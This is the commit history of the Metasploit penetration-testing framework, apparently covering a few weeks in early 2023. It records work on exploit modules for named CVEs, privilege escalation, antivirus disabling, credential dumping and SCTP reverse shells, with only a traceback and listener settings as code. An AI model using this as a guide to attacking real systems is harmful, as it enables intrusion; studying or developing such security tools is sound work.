adfoster-r7 1b44973c80 Improve UX of module explorer 2023-02-21 12:06:24 +00:00
adfoster-r7 239bc02db4 Fix broken payload selection for metasploit rpc 2023-02-21 11:04:11 +00:00
Imran E. Dawoodjee 6e9a7a9d07 Minor fixes 2023-02-20 23:45:59 +08:00
cgranleese-r7 31a5125d78 Land #17674, Update basic discovery script database connection 2023-02-20 11:44:36 +00:00
adfoster-r7 5314d21e59 Update basic discovery script database connection 2023-02-20 09:42:59 +00:00
adfoster-r7 db290369a4 Land #17650, Fix #17602 - Update basic_discovery.rc to support commas in RHOST values 2023-02-20 09:41:08 +00:00
archcloudlabs bf5919f461 finisehd msftidy/rubocop fixs 2023-02-19 19:49:39 -05:00
archcloudlabs f61c3bcefc initial commit of disable_av documentation 2023-02-19 19:49:39 -05:00
archcloudlabs fc5a38e870 Simplifying the module 2023-02-19 19:49:39 -05:00
archcloudlabs 1f45b1e4b7 initial commit of disable_clamav module 2023-02-19 19:49:39 -05:00
ajmeese7 a2026182e1 feat: created module to exploit CVE-2019-16328 2023-02-19 16:03:05 -05:00
JBince 75fb5e883d Exploit update based on feedback 2023-02-19 09:16:56 -06:00
Imran E. Dawoodjee bdc435f5c8 Add login module for Softing Secure Integration Server 2023-02-19 22:25:22 +08:00
Grant Willcox 066d0a6f7e Land #17663, fixing case insensitive issue for show options #17459 2023-02-18 13:26:47 -06:00
manishkumarr1017 c553f80cd9 fixing case insensitive issue for show options #17459 2023-02-18 05:51:46 +00:00
Grant Willcox 38d8b70873 Make msftidy_docs.rb happy and then also clarify where to find software download links 2023-02-17 14:56:51 -06:00
Grant Willcox c713da368d Add in a few fixes from the review 2023-02-17 14:52:57 -06:00
space-r7 871c9c57f3 add logic to retrieve email address 2023-02-17 14:13:29 -06:00
Metasploit 9cf2bbf352 automatic module_metadata_base.json update 2023-02-17 12:36:29 -06:00
Spencer McIntyre c6e9c8e3db Land #17660, Move temp storage of reg hives
Move temp storage of reg hives to %TEMP%
2023-02-17 13:12:29 -05:00
Grant Willcox 676dd5cbbd Bump up gems 2023-02-17 11:40:23 -06:00
cgranleese-r7 292c160abf Land #17637, Add module information to docs site 2023-02-17 14:32:10 +00:00
JBince ce9933fc4c Feedback changes + rubocop & msftidy changes 2023-02-17 08:16:49 -06:00
sfewer-r7 73e82274dd changes as per @gwillcox-r7 review 2023-02-17 13:10:53 +00:00
space-r7 197124dd76 add Git usage, repository creation 2023-02-16 17:38:02 -06:00
JBince a3a6ae9c4a feedback fixes 2023-02-16 14:33:03 -06:00
Jonas Vestberg c610949a5a Move temp storage of reg hives to %TEMP% 2023-02-16 20:13:31 +01:00
Jack Heysel 44c393e2f1 Fixed netcat session cleanup 2023-02-16 13:14:24 -05:00
Metasploit 71cecfb1d4 Bump version of framework to 6.3.4 2023-02-16 12:12:20 -06:00
Jack Heysel 1c49b002d2 Changed get_csrf to use xpath 2023-02-16 10:47:04 -05:00
Jack Heysel 00d1637f3d Changed check method to use xpath 2023-02-16 10:33:15 -05:00
Grant Willcox e7da4c4612 Land #17594, Add larger DLL templates 2023-02-15 19:35:37 -06:00
samsepi0x0 12c739b881 Update basic_discovery.rc 2023-02-16 03:53:21 +05:30
Metasploit 5a2ab6edd4 automatic module_metadata_base.json update 2023-02-15 15:32:23 -06:00
Spencer McIntyre ecd5ad29a7 Add module docs 2023-02-15 16:29:42 -05:00
Grant Willcox a8d2073eee Land #17646, Link Hadoop YARN exploit to documentation 2023-02-15 15:09:05 -06:00
samsepi0x0 86e8f5c484 Correctly parsed before the scan. 2023-02-15 14:47:24 -06:00
Arnout Engelen 5d8b1dc4a6 Link Hadoop YARN exploit to documentation
This exploit scans for misconfigured installations, link to the documentation
that describes how to properly secure it.
2023-02-15 21:17:26 +01:00
Spencer McIntyre 557042c91c Initial exploit is working 2023-02-15 14:18:25 -05:00
Grant Willcox b89602bb7b Land #17645, Fix bootup git warnings on arch 2023-02-15 11:49:57 -06:00
Spencer McIntyre 301d25ddfa Raise more explicit errors for invalid arguments 2023-02-15 09:07:01 -05:00
adfoster-r7 a98368cfc5 Fix bootup git warnings on arch 2023-02-15 11:18:02 +00:00
Spencer McIntyre 5725dd2ded Fix an off by one size error 2023-02-14 18:01:14 -05:00
Metasploit 165b0f8d61 automatic module_metadata_base.json update 2023-02-14 16:23:51 -06:00
Spencer McIntyre ac9d60ce9e Land #17281, Added module for CVE-2022-2992
Added module for CVE-2022-2992 - Gitlab Remote Command Execution via Github import
2023-02-14 16:57:29 -05:00
Spencer McIntyre 5d254cc36b Land heyder#2, Refactor namespaces 2023-02-14 16:44:29 -05:00
space-r7 78ae5f49ce add gitlab prefix back to methods 2023-02-14 15:26:01 -06:00
space-r7 304b90ecc8 split mixins between forms and v4 api used 2023-02-14 12:37:43 -06:00
Jack Heysel 8aed02de3d Linting 2023-02-14 10:39:47 -05:00
adfoster-r7 bf57918454 Add module information to docs site 2023-02-14 13:10:03 +00:00
sfewer-r7 d1463df3cc fix documentation issues from msftidy_docs 2023-02-14 10:47:47 +00:00
Jack Heysel ff159c8760 Updated TODO 2023-02-13 20:24:32 -05:00
Jack Heysel ca0b1ffe05 Documentation fixes 2023-02-13 19:56:23 -05:00
Jack Heysel 2e195b2742 Initial commit Froxlor RCE 2023-02-13 19:39:18 -05:00
Metasploit 0e86cfa6c7 automatic module_metadata_base.json update 2023-02-13 18:13:40 -06:00
Grant Willcox d012145726 Land #17599, Cisco RV LAN Exploit - CVE-2022-20705 and CVE-2022-20707 2023-02-13 17:50:06 -06:00
Stephen Wildow 96fecb6048 Modified BadChars and FailWith codes 2023-02-13 17:49:09 -05:00
JBince 1dadd113dd msftidy changes to documentation 2023-02-13 15:27:07 -06:00
JBince 9c3cfd8bdb Added documentation, cleaned up functions, rubocop fixes 2023-02-13 15:19:45 -06:00
Grant Willcox 45e453d687 Fix up remaining review comments 2023-02-13 15:07:25 -06:00
space-r7 9605b4bb91 Merge branch 'heyder-pr-1' into heyder-cve-2022-2992 2023-02-13 14:59:45 -06:00
Spencer McIntyre c3fa924cfa Remove the NGROK_URL option 2023-02-13 14:31:44 -05:00
Spencer McIntyre 210b7a3254 Use #get_json_document instead of JSON.parse
Also fix typos
2023-02-13 14:00:13 -05:00
space-r7 d6419ee4fb add check method, login, main logic 2023-02-13 11:31:06 -06:00
JBince 2a386981bd Updated Module & Payloads + Rubocop Fixes 2023-02-13 09:03:57 -06:00
JBince f4c5e34a1b Added improved functionality on both Windows and Unix installs 2023-02-12 14:42:22 -06:00
JBince fcfc39296f Added improved functionality on both Windows and Unix installs 2023-02-12 14:39:11 -06:00
Stephen Wildow 79b1801a4f Rewrote check method to only abuse authentication bypass. Added additional status checks. 2023-02-11 17:43:33 -05:00
JBince d5b7ad30a1 Created module 2023-02-10 17:01:57 -06:00
sfewer-r7 a3f4dceb5b clean up the check method; avoid using print_message in favor of the CheckCode reason. and use a CheckCode of Safe rather than Unknown if we dont find the expected version string. Thanks @bcoles for the review on this. 2023-02-10 13:03:23 +00:00
sfewer-r7 6b29b14c46 add in module documentation 2023-02-10 12:41:55 +00:00
sfewer-r7 dc8ee988f5 use Rex::Version in the check method for better version comparisons 2023-02-10 10:45:32 +00:00
sfewer-r7 a19bdde276 pass the 'bne:uueupload' param via the vars_get option 2023-02-10 10:44:21 +00:00
sfewer-r7 54c472ef18 fix typo in the description 2023-02-10 10:43:36 +00:00
Stephen Wildow 036ed7f467 Removed /etc/password. Modified check code and fail_with. Added proper checking for non-vulnerable versions of firmware. 2023-02-09 21:55:40 -05:00
Metasploit 86fc617259 automatic module_metadata_base.json update 2023-02-09 17:53:04 -06:00
Grant Willcox 0cf7dd850f Land #17626, Fix Frycos author name in fortra_goanywhere_rce_cve_2023_0669.rb 2023-02-09 17:38:34 -06:00
Frycos e963582e18 Update fortra_goanywhere_rce_cve_2023_0669.rb
Name typo
2023-02-09 23:06:59 +01:00
Grant Willcox f2a86327d0 Minor fixes from review 2023-02-09 15:34:25 -06:00
Metasploit 6343fc8f7c automatic module_metadata_base.json update 2023-02-09 14:27:19 -06:00
Spencer McIntyre fd6cd82f30 Upgrade DLL template size automatically 2023-02-09 15:09:50 -05:00
Spencer McIntyre 025ba6775d Add a README file with some basic information 2023-02-09 15:09:50 -05:00
Spencer McIntyre 126e3a9c9a Add larger 256KiB DLL templates 2023-02-09 15:09:50 -05:00
Spencer McIntyre 2608852d8c Consolidate gdiplus build code
This references the main dll/template.c code as the mixed-mode variant
already does. This will make future changes easier as we won't need to
copy them from the main to this one.

See https://github.com/rapid7/metasploit-framework/pull/8509 for the
origin of these files.
2023-02-09 15:09:50 -05:00
Grant Willcox aa9b3df6b3 Land #17625, Add credit for CVE-2023-0669; fix path in docs 2023-02-09 14:02:52 -06:00
Metasploit e420dc123d Bump version of framework to 6.3.3 2023-02-09 12:10:37 -06:00
Spencer McIntyre c7279e9a0a Add credit for CVE-2023-0669; fix path in docs 2023-02-09 13:02:40 -05:00
Metasploit 73567cfbf6 automatic module_metadata_base.json update 2023-02-09 11:57:08 -06:00
Grant Willcox 43b4ee268c Land #17592, Fix bypassuac_injection_winsxs for x64 2023-02-09 11:41:51 -06:00
sfewer-r7 d4be663923 add the side effect flag ARTIFACTS_ON_DISK as during extraction of the UUE encoded zip file, some randomly names temp files are left in /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload 2023-02-09 17:28:15 +00:00
sfewer-r7 86f11b09fb avoid the upto loop when creating jsp_path 2023-02-09 17:18:58 +00:00
Spencer McIntyre e6f4e96544 Close hFindFile 2023-02-09 11:43:20 -05:00
sfewer-r7 406574722a satisfy Rubocop 2023-02-09 16:30:30 +00:00
sfewer-r7 b97a288102 add an exploit module for CVE-2022-21587 (Oracle E-Business Suite RCE) 2023-02-09 16:22:30 +00:00
adfoster-r7 139ad4a4be Land #17623, Move fortra_goanywhere_rce_cve_2023_0669 module documentation to documentation directory 2023-02-09 13:21:10 +00:00
bcoles de8a6e1445 Move fortra_goanywhere_rce_cve_2023_0669 module documentation to documentation directory 2023-02-09 23:12:45 +11:00
Metasploit 2f20c9836f automatic module_metadata_base.json update 2023-02-09 04:25:48 -06:00
cgranleese-r7 508f5c7e52 Land #17619, Run rubocop on exploit modules 2023-02-09 10:11:53 +00:00
RageLtMan ef53e3c52e Python reverse command shell over SCTP
Implement reverse shell over SCTP in Python.
During testing against Arch Linux with Python 3.10.9, any attempt
to interact with the resulting shell produced:
```
Traceback (most recent call last):
  File "/tmp/shell.py", line 12, in <module>
    so.send(o)
OSError: [Errno 22] Invalid argument
```
Implement handling for OSError 22 on the send() method for the
abnormal stream socket.

Testing:
  Tested against local KVM virtual machine running Arch Linux
2023-02-08 21:47:28 -05:00
RageLtMan a215d64574 Linux x64 binary reverse SCTP stager
Implement binary SCTP stager for Linux x64.

Testing:
  Successful test against Arch Linux x64 VM in local Libvirt
2023-02-08 21:47:28 -05:00
RageLtMan 8aef054dfd SCTP Sessions
With the introduction of SCTP socket support in Rex::Socket via
https://github.com/rapid7/rex-socket/pull/56, Framework can utilize
this protocol for session transports similarly to  TCP as it is a
stream-wise transport.

Implement bind and reverse handlers for the new socket type.
Implement example bind and reverse payloads using socat copying
from the initial udp sessions implementation.

Testing:
  Rudimentary bind session test against local Libvirt Linux VM

Next steps:
  Implement the language-level payloads for the interpreters common
to POSIX environments supporting SCTP.
  Implement meterpreter transports for SCTP in Python, PHP, Mettle,
and Java modalities (Windows doesn't support it without carrying
its own usermode protocol library).
2023-02-08 21:47:28 -05:00
Stephen Wildow 4b05ba6189 Update description and vulnerability listings. Cleaned up references. More randomization. Removed first unnecessary request in exploit portion of code. Added rescue section around json grabbing. 2023-02-08 21:26:18 -05:00
Stephen Wildow 427c181e9a Utilized msftidy_docs.rb to clean up missing sections, excessively long lines, spaces at EOL, and space end of file. Removed credit section. Expanded on installation procedure. Modified steps procedure to include Verify options and removed failure status. Removed Targets section. Scenarios have device, target, and architecture. 2023-02-08 19:18:14 -05:00
Jack Heysel 19bcf8be7f Working hardcoded payload 2023-02-08 18:14:11 -05:00
Metasploit a9bd7e9f46 automatic module_metadata_base.json update 2023-02-08 13:31:52 -06:00
bwatters 01a78f972c Land #17567, ManageEngine Endpoint Central RCE (CVE-2022-47966)
Merge branch 'land-17567' into upstream-master
2023-02-08 13:06:53 -06:00
Metasploit 79a5481d9c automatic module_metadata_base.json update 2023-02-08 12:10:30 -06:00
Spencer McIntyre c997952d83 Land #17607, Fortra RCE CVE-2023-0669
Fortra deserialization RCE CVE-2023-0669 (ETR)
2023-02-08 12:56:09 -05:00
Metasploit 810ef42bf0 automatic module_metadata_base.json update 2023-02-08 11:55:11 -06:00
Ron Bowes 0c6ebed3ac Merge pull request #3 from smcintyre-r7/pr/collab/17607
Pr/collab/17607
2023-02-08 09:41:35 -08:00
cgranleese-r7 a878403a3e Land #17618, Run rubocop on auxiliary admin http modules 2023-02-08 17:40:26 +00:00
Metasploit 0de766498c automatic module_metadata_base.json update 2023-02-08 10:49:50 -06:00
cgranleese-r7 c3e9e2751a Land #17617, Update linting on post modules 2023-02-08 16:35:20 +00:00
adfoster-r7 656ded4b86 Add module notes 2023-02-08 15:46:07 +00:00
Spencer McIntyre 2b008af097 Move the module to reflect it targets Windows too 2023-02-08 10:24:27 -05:00
adfoster-r7 25ee41df68 Run rubocop on exploit modules 2023-02-08 15:20:32 +00:00
adfoster-r7 9469c8394a Update rubocop rules for moules 2023-02-08 15:18:25 +00:00
Spencer McIntyre 75ceb7b670 Refactor option handling.
Use CamelCase names for advaned options and add validation.
2023-02-08 10:17:16 -05:00
Spencer McIntyre fef7c85518 Add Windows target compatibility 2023-02-08 09:47:37 -05:00
adfoster-r7 6e9b33dc88 Run rubocop on auxiliary admin http modules 2023-02-08 14:30:08 +00:00
Metasploit 716ba68b25 automatic module_metadata_base.json update 2023-02-08 08:24:26 -06:00
adfoster-r7 b56213b168 Update linting on post modules 2023-02-08 14:12:43 +00:00
dwelch-r7 11c886b30f Land #17616, Run rubocop on post modules 2023-02-08 14:09:16 +00:00
adfoster-r7 a81a71c5df Run rubocop on post modules 2023-02-08 13:47:34 +00:00
adfoster-r7 488cfc84ef Disable noisey or unsafe Rubocop rules 2023-02-08 13:42:49 +00:00
Metasploit f8bb85ffe3 automatic module_metadata_base.json update 2023-02-08 07:06:26 -06:00
dwelch-r7 7909fe32c2 Land #17612, Add exception handling for finalizer methods 2023-02-08 12:33:52 +00:00
cgranleese-r7 10144a9f13 Land #17615, Add missing module notes for stability reliability and side effects 2023-02-08 12:28:47 +00:00
adfoster-r7 433bafdccf Add missing module notes for stability reliability and side effects 2023-02-08 11:45:17 +00:00
adfoster-r7 d261aa6a2b Land #17603, Add ul_type 12 (UPN and DNS info) to pac bindata 2023-02-08 11:22:20 +00:00
adfoster-r7 4311c34a0b Land #17614, Weekly dependency updates for Gemfile.lock 2023-02-08 11:13:15 +00:00
Stephen Wildow 35749a000a Added docs. Performed code linting with rubocop. 2023-02-07 20:27:07 -05:00
Grant Willcox affe47957b Bump up Gems 2023-02-07 17:21:16 -06:00
Metasploit 1168658f0e automatic module_metadata_base.json update 2023-02-07 17:21:03 -06:00
dwelch-r7 782e4c0295 Add ul_type 12 (UPN and DNS info) to pac bindata 2023-02-07 23:14:00 +00:00
bwatters 8ee67085c8 Land #17556, ManageEngine ADSelfService Plus RCE (CVE-2022-47966)
Merge branch 'land-17556' into upstream-master
2023-02-07 16:57:22 -06:00
Metasploit a036c2fae0 automatic module_metadata_base.json update 2023-02-07 15:54:12 -06:00
Grant Willcox c2e8f3fa69 Land #17494, Add NagiosXI authenticated RCE (CVE-2021-25296, CVE-2021-25297,CVE-2021-25298) exploit module 2023-02-07 15:38:36 -06:00
adfoster-r7 f145a214ca Add exception handling for finalizer methods 2023-02-07 20:28:15 +00:00
Matthew Dunn 52fa2e5be6 Add example for version 5.5.6 with CVE-2021-25297 2023-02-07 14:18:53 -06:00
Grant Willcox 489ab24876 Add in additional case documentation for the various targets and CVEs and fix a bug in the code 2023-02-07 14:18:45 -06:00
Matthew Dunn 8ba7a28caf Add quotes to set-time command in docs 2023-02-07 14:18:45 -06:00
Grant Willcox 7c30889784 Refactor code to handle unsigned licenses in one central function 2023-02-07 14:18:39 -06:00
Grant Willcox b14bcd40a2 Fix incorrect match logic grabbing the wrong entry from results for NSP 2023-02-07 14:18:38 -06:00
Grant Willcox 425da60b15 Add in missing case 5 check 2023-02-07 14:18:38 -06:00
Matthew Dunn 90e07ef5ed Switch to match over scan and add troubleshooting steps 2023-02-07 14:18:37 -06:00
Matthew Dunn 8cddf56238 Verify auth_cookies before use 2023-02-07 14:18:37 -06:00
Matthew Dunn a276659681 Use more encompassing single regex 2023-02-07 14:18:36 -06:00
Matthew Dunn 7554b5e4fd Add failure condition for nsp's that fail to match the regex 2023-02-07 14:18:36 -06:00
Matthew Dunn 1cb06b11ac Adjust exploit and docs to support versions 5.5.6-5.7.5 2023-02-07 14:18:09 -06:00
Matthew Dunn 87176f9d7f Address Review Comments and add CVE-2021-25297 coverage 2023-02-07 14:18:06 -06:00
Matthew Dunn c5914d8c99 Insert randomized strings to fix exploit with plugin_output_len 2023-02-07 14:18:05 -06:00
Matthew Dunn 990db5372f Remove extra payload details, add config check 2023-02-07 14:18:05 -06:00
Matthew Dunn b042e71b2a Make Module work for both target url parameters 2023-02-07 14:18:04 -06:00
Matthew Dunn b606d1ff6b Add Documentation for Module
Fix CVE format

Add Documentation
2023-02-07 14:18:04 -06:00
Matthew Dunn 5846d95b25 Create nagios_xi_configwizards_authenticated_rce.rb
Add initial module
2023-02-07 14:18:03 -06:00
Ron Bowes 676bb2af02 Fix a couple requests from the PR 2023-02-07 09:05:44 -08:00
Ron Bowes 588bddc950 Fix a couple requests from the PR 2023-02-07 09:05:16 -08:00
Metasploit 4143e6ea92 automatic module_metadata_base.json update 2023-02-06 17:52:49 -06:00
bwatters 53c67653f5 Land #17527, ManageEngine ServiceDesk Plus RCE (CVE-2022-47966)
Merge branch 'land-17527' into upstream-master
2023-02-06 17:37:31 -06:00
Ron Bowes f7fb611bcc Add documentation 2023-02-06 14:35:42 -08:00
bwatters 8b116a7dcd Minor punctuation change 2023-02-06 16:32:39 -06:00
Ron Bowes 89485703dc Make rubocop happy 2023-02-06 14:23:55 -08:00
Ron Bowes 9b90343480 Check in the module 2023-02-06 14:21:42 -08:00
Metasploit b9bcf45a7d automatic module_metadata_base.json update 2023-02-06 08:21:33 -06:00
adfoster-r7 4a2dc0d6b0 Land #17598, modules/exploits/unix/local Add Notes and resolve RuboCop violations 2023-02-06 13:59:19 +00:00
adfoster-r7 215cfa27b0 Land #17483, add tomcat 8 priv esc on ubuntu (cve-2016-1240) 2023-02-06 13:53:25 +00:00
Spencer McIntyre 6e6d8473b6 Land #17595, Documentation update
Documentation update to reflect Address instead of Host in ReverseListener setup
2023-02-06 08:45:39 -05:00
h00die-gr3y d763faf245 sync documentation 2023-02-06 06:56:59 +00:00
Stephen Wildow 475813eb33 Properly labing ZDI vulnerability 2023-02-05 21:48:48 -05:00
Stephen Wildow 59332da8ce Randomized hard coded strings, modified cmd string, and updated references 2023-02-05 21:42:57 -05:00
Stephen Wildow ac9caa8894 Removed unnecessary CVE listing 2023-02-05 14:32:04 -05:00
Stephen Wildow 7cff3cc2b0 Updated to include vulnerable versions of software 2023-02-05 13:20:52 -05:00
Stephen Wildow 4b3125d14b Add module to exploit Cisco RV34x Small Business Routers 2023-02-05 10:15:16 -05:00
Metasploit 42e1bed3f5 automatic module_metadata_base.json update 2023-02-05 08:23:02 -06:00
adfoster-r7 af29786f1b Land #17597, qubes_mirage_firewall_dos: Fix notes for SideEffects and Reliability 2023-02-05 14:08:57 +00:00
h00die a5a7d5dd10 correct cleanup and stabilization 2023-02-05 08:15:38 -05:00
bcoles adf5091c7a modules/exploits/unix/local: Add Notes and resolve RuboCop violations 2023-02-05 15:45:30 +11:00
RageLtMan 153f950f11 Add AwsSsmCommandShellBind session type
Create an AwsSsmCommandShellBind session type to provide intercept
points for shell command interactions and a wrapper class which is
used to register the new session.

Update Msf::Handler::BindAwsSsm with its own #create_session method
utilizing the new session type to provide direct control of session
initialization.

Restore standard handler attributes and thread nomenclature in an
attempt to resolve the repeating session creation when #to_handler
is called on the payloads.

Testing:
  Tested in local framework, unfortunately the recurring session
init problem appears to persist. Requesting testing on an upstream
Framework by saner folks.
2023-02-04 20:57:26 -05:00
bcoles 19b526d584 qubes_mirage_firewall_dos: Fix notes for SideEffects and Reliability 2023-02-05 12:04:59 +11:00
RageLtMan 7e19141dfc Standardize DS names and set OS platforms
Update SSM handler code to standardize datastore option names per
@zeroSteiner.
Update payload modules to reflect the OS targets against which they
are to execute.
2023-02-04 19:41:40 -05:00
h00die 561b42f105 use exploit retry function 2023-02-04 18:17:42 -05:00
h00die 6aa6f5176b touch up verbiage and stuff 2023-02-04 18:17:42 -05:00
h00die aff14e8e46 tocat to tomcat 2023-02-04 18:17:42 -05:00
h00die e30cae2e40 uncomment needed code 2023-02-04 18:17:42 -05:00
h00die 34b1e66f90 tomcat 8 priv esc on ubuntu prebuilt so file 2023-02-04 18:17:41 -05:00
h00die 2b09af78e1 tomcat 8 priv esc on ubuntu 2023-02-04 18:17:41 -05:00
Matt Konda c3393f30c3 Update to reflect Address instead of Host in
Update the name of the ReverseListenerBindAddress (instead of ReverseListenserBindHost) because that seems to be works.

```
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > set ReverseListenerBindHost 172.17.0.2                                                  
[-] Unknown datastore option: ReverseListenerBindHost. Did you mean ReverseListenerBindPort?                                           
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > set ReverseListenerBindAddress 172.17.0.2                                               
ReverseListenerBindAddress => 172.17.0.2
```
2023-02-03 23:27:32 -06:00
Grant Willcox ad82437067 Land #17591, Fix metasm_shell by requiring readline 2023-02-03 15:14:32 -06:00
Spencer McIntyre 687e82a9ed Satisfy rubocop 2023-02-03 15:29:19 -05:00
Spencer McIntyre dc179f6279 Fix stack trace on exit via Ctrl+D (EOF) 2023-02-03 14:38:07 -05:00
Spencer McIntyre 51fd9ee703 Require readline 2023-02-03 14:38:02 -05:00
Spencer McIntyre f2e5e77e27 Fix bypassuac_injection_winsxs for x64
Tested on Windows 8.1, prior to these chagnes the bad railgun definition
would cause the session to crash.
2023-02-03 13:02:53 -05:00
adfoster-r7 fd43c43a30 Land #17452, Deprecate import-dev-keys script 2023-02-03 17:49:57 +00:00
Grant Willcox d576e77b70 Deprecate import-dev-keys.sh 2023-02-03 10:12:12 -06:00
cgranleese-r7 6d62362b82 Land #17587, Update wiki to use latest ruby conventions 2023-02-03 14:30:16 +00:00
Metasploit 3b80e223b1 automatic module_metadata_base.json update 2023-02-03 07:57:50 -06:00
cgranleese-r7 80dbbca020 Land #17371, Lenovo Diagnostics Driver Privilege Escalation (CVE-2022-3699) 2023-02-03 13:43:04 +00:00
adfoster-r7 c777b33fcb Update wiki to use latest ruby conventions 2023-02-03 13:35:03 +00:00
adfoster-r7 c3c3987867 Land #17398, Update cmdstager docs 2023-02-03 13:08:01 +00:00
cgranleese-r7 b789e00ea7 Enhances info -d with references to AttackerKB 2023-02-03 10:15:55 +00:00
Metasploit 87323134a5 automatic module_metadata_base.json update 2023-02-02 14:28:38 -06:00
Jack Heysel 6ab7e177f4 Land #17392, add F5 Big-IP priv esc module
Add a privilege escalation module for F5 that uses
the unsecured MCP socket to create a new root account
2023-02-02 15:10:33 -05:00
Metasploit feee510999 automatic module_metadata_base.json update 2023-02-02 13:03:49 -06:00
Jack Heysel 99e31c561a Land #17585, mac dirty cow add session types
Sets missing session types during module initialization
2023-02-02 13:36:43 -05:00
Jack Heysel f4ad778bd0 Added missing session types 2023-02-02 13:29:43 -05:00
Metasploit 5d6e989e64 Bump version of framework to 6.3.2 2023-02-02 12:11:52 -06:00
Metasploit 83f9964e99 automatic module_metadata_base.json update 2023-02-02 12:03:09 -06:00
adfoster-r7 cfb5a55880 Land #16946, Add row indicator to show targets command 2023-02-02 17:26:53 +00:00
Jack Heysel af2ef53462 Land #17415, macOS dirty cow priv esc 2023-02-02 12:15:19 -05:00
adfoster-r7 b408837b7f Land #17575, Load TGS tickets with a different sname 2023-02-02 17:02:48 +00:00
cgranleese-r7 d1e68e634a Add row indicator to show targets command 2023-02-02 16:12:19 +00:00
Jack Heysel 1f224fd2d3 Rapid7 compiled binary 2023-02-02 11:11:06 -05:00
Jack Heysel 88caeddc8c Fixed license 2023-02-02 11:10:06 -05:00
Jack Heysel 4de5e44bda Documentation 2023-02-02 10:38:26 -05:00
Spencer McIntyre 3eaed76025 Land #17561, Fix functions in def_iphlpapi.rb
Fix input and output buffers for some mislabeled functions in def_iphlpapi.rb
2023-02-02 09:10:28 -05:00
Metasploit 2b2406f9af automatic module_metadata_base.json update 2023-02-02 05:05:42 -06:00
adfoster-r7 952a4fe37a Land #17581, modules: Check datastore ForceExploit before checking if session is root 2023-02-02 10:19:07 +00:00
adfoster-r7 56866ad09a Land #17580, update links to new docs website 2023-02-02 10:15:10 +00:00
bcoles 6f4a17230d exploits/osx/local/vmware_fusion_lpe: Add notes 2023-02-02 18:46:08 +11:00
bcoles a83d070396 exploits/freebsd/local/ip6_setpktopt_uaf_priv_esc: Add Reliability notes 2023-02-02 18:45:43 +11:00
bcoles ef87a63bde modules: Check datastore ForceExploit before checking if session is root 2023-02-02 18:17:02 +11:00
Grant Willcox 48a27ab555 Fix the remaining references to the old wiki site. 2023-02-01 21:25:06 -06:00
Metasploit e752e1dbca automatic module_metadata_base.json update 2023-02-01 18:12:49 -06:00
adfoster-r7 6870efc34a Land #17426, Update all references to old Wiki to point to new docs site 2023-02-01 23:49:20 +00:00
Spencer McIntyre 61c2726620 Fix NoMethodError for #opcode 2023-02-01 18:19:46 -05:00
Metasploit f128640bf1 automatic module_metadata_base.json update 2023-02-01 16:59:01 -06:00
Jack Heysel c90a6f9068 Land #17406, veeam_credential_dump post module
Veeam Backup & Recovery and Veeam ONE Monitor credential
capture post module for versions 9.x and 11.x.
2023-02-01 17:29:05 -05:00
Metasploit 4418bcc673 automatic module_metadata_base.json update 2023-02-01 16:18:56 -06:00
Jack Heysel f4c5632b6d Cleaned up license file 2023-02-01 17:04:26 -05:00
Jack Heysel 076ffbcc65 Merge branch 'mac_dirty_cow' of github.com:timwr/metasploit-framework into mac_dirty_cow 2023-02-01 16:57:36 -05:00
Jack Heysel 3c7cbf62e6 Updated default payload 2023-02-01 16:56:28 -05:00
jheysel-r7 6037936869 Update LICENSE 2023-02-01 16:54:04 -05:00
jheysel-r7 595f34fc6f Merge branch 'master' into mac_dirty_cow 2023-02-01 16:51:09 -05:00
Grant Willcox e9fef56186 Land #17481, Update HTTP options module 2023-02-01 15:49:27 -06:00
Jack Heysel 057f046186 Updated license file 2023-02-01 16:46:45 -05:00
h00die 4ba04df138 update http options 2023-02-01 15:12:39 -06:00
Ron Bowes cf172d22c8 Get rid of #String.hash in favour of UnixCrypt 2023-02-01 11:02:04 -08:00
Grant Willcox b5a83ffd0f Add in PULONG alias to PDWORD and update definitions 2023-02-01 12:36:22 -06:00
Ron Bowes 1094221468 Merge branch 'rapid7:master' into f5-createuser-privesc 2023-02-01 10:20:43 -08:00
Jeffrey Martin 8d31b63f7a update Pro version docs for 4.22.0 release 2023-02-01 12:19:59 -06:00
Ron Bowes 34d93e862c Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-02-01 10:16:03 -08:00
Ron Bowes e90b47fd17 Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-02-01 10:15:00 -08:00
Ron Bowes d89c193db2 Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-02-01 10:14:38 -08:00
Ron Bowes 638a1c519d Update documentation/modules/exploit/linux/local/f5_create_user.md
Better demo exploit

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-02-01 10:14:25 -08:00
Metasploit b922bb533b automatic module_metadata_base.json update 2023-02-01 11:15:51 -06:00
adfoster-r7 014bdddd1a Land #17564, Fixed AnyConnect IPC message format 2023-02-01 16:34:44 +00:00
adfoster-r7 a5990a5a7d Land #17578, modules/exploits/openbsd Add notes and use CheckCodes messages 2023-02-01 16:26:59 +00:00
Metasploit 5af2689a0e automatic module_metadata_base.json update 2023-02-01 10:16:55 -06:00
Jack Heysel a6f0a8abe3 Land #17301, module for cve-2022-1043, linux LPE
This module exploits a bug in io_uring leading to an additional put_cred
that can be exploited to hijack credentials of other processes.
2023-02-01 10:38:10 -05:00
Jack Heysel 690d22f759 Rapid7 compiled binary 2023-02-01 10:08:13 -05:00
Spencer McIntyre 994d41ac80 Update parts of the docs 2023-02-01 09:28:00 -05:00
adfoster-r7 5a1eb16018 Land #17574, Use the new NDR types in RubySMB v3.2.4 2023-02-01 12:02:47 +00:00
Metasploit 4a04a86675 automatic module_metadata_base.json update 2023-02-01 05:46:09 -06:00
bcoles 86a6611e98 modules/exploits/openbsd: Add notes and use CheckCodes messages 2023-02-01 22:26:44 +11:00
adfoster-r7 1ff1cd1779 Land #17577, modules/exploits/qnx Use AutoCheck, add Notes, resolve Rubocop violations 2023-02-01 11:20:49 +00:00
bcoles c9012ae222 modules/exploits/qnx: Use AutoCheck, add Notes, resolve Rubocop violations 2023-02-01 20:51:44 +11:00
h00die 2c72cc145a updates to module 2023-01-31 20:05:33 -05:00
Spencer McIntyre 84f798da32 Allow loading TGS tickets for other service names
Fixes #17571
2023-01-31 17:03:25 -05:00
